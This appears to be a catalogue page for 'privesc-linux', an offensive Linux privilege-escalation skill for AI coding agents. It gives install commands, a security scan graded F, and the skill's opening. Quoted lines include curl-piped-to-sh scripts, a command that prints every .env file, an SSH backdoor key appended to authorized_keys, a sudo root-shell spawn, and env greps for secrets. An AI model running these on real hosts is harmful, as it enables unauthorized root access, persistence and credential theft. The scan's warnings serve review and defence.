privesc-linux

A guide for finding ways to gain higher privileges on Linux systems, such as moving from a normal user account to the administrator account. It also covers keeping access and escaping some container environments.

In plain words
What is it for?
It is for authorized security testing, capture-the-flag challenges and post-compromise assessment of Linux hosts and containers.
Why use it?
It organizes common checks for unsafe permissions, settings, scheduled jobs, exposed credentials and software vulnerabilities after an initial shell is obtained.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/jessefmoore/offensive-claude-code/privesc-linux
Any agent
npx skills add jessefmoore/offensive-claude-code --skill privesc-linux
Clone the repo
git clone --depth 1 https://github.com/jessefmoore/offensive-claude-code

Made for: Claude Code, Codex.

Per session 91 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 13,846 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 6 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00091 $0.13846
Opus 5 $0.00046 $0.06923
Sonnet 5 $0.00018 $0.02769
Haiku 4.5 $0.00009 $0.01385

Measured 2d ago against content hash 4d7cf0389bde, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade F, and why

privesc-linux scanned grade F with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Enumerates the file system for secretshighData exfiltration

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

find / -name '.env' -not -path '*/node_modules/*' 2>/dev/null | xargs cat 2>/dev/null

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

description: Linux privilege escalation and persistence — SUID/SGID abuse, kernel exploits, capabilities, sudo misconfig, cron jobs, writable paths, library hijacking, credential hunting, container escape, LXD/LXC, syste

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-ed25519 AAAA...PUBKEY... backdoor" >> ~/.ssh/authorized_keys

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas.out

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas.out

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
skills/privesc-linux/SKILL.md · 1,433 lines

How it starts

The opening of the file, as written. The whole thing — 1,433 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Linux Privilege Escalation

When to Activate

  • Gained initial shell on Linux target, need root
  • Post-exploitation privilege escalation
  • Container escape scenarios
  • CTF challenges requiring privesc

Phase 0 — Automated Enumeration (Run First)

# LinPEAS — broadest coverage, colored output
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas.out

# Traitor — finds and tries to auto-exploit common paths
curl -L https://github.com/liamg/traitor/releases/latest/download/traitor-amd64 -o /tmp/traitor && chmod +x /tmp/traitor
/tmp/traitor -p                   # print only — don't exploit yet

# Linux Exploit Suggester 2 — kernel CVE mapping
curl -L https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl | perl

# pspy — watch process execution without root (catch cron scripts, SUID calls)
curl -L https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000             # processes + filesystem events, 1-second interval

# deepce — container-specific escape detection
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

Phase 1 — System Context

# Identity and groups
id && whoami
groups
cat /proc/self/status | grep -i cap    # effective/permitted capabilities of current process
cat /etc/passwd | grep -v 'nologin\|false'  # interactive users
cat /etc/group | grep -v '^[^:]*:[^:]*:0:'  # non-trivial groups

# OS / kernel
uname -a
cat /etc/os-release
cat /proc/version

# Interesting env vars (tokens, creds, paths)
env | grep -iE 'pass|token|key|secret|api|aws|db|mysql|postgres'
echo $PATH | tr ':' '\n'

# Network — services running locally that aren't exposed externally
ss -tulpn
netstat -tulpn 2>/dev/null
cat /etc/hosts

# Mounted filesystems — NFS no_root_squash, FUSE, loop devices
mount | grep -v 'tmpfs\|cgroup\|proc\|sysfs\|devtmpfs'
cat /etc/fstab

# Running processes and their owners
ps auxef          # environment visible
ps aux | grep root

Read the full file on GitHub · 1,433 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 1,433 lines · 91 tokens per session scan F 4d7cf0389bde

Subscribe to this mod's changes

privesc-linux is a skill published in the GitHub repository jessefmoore/offensive-claude-code (2 stars, last pushed 3mo ago), licensed MIT. It adds 91 tokens to every session and 13,846 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it F with 6 findings (enumerates the file system for secrets, asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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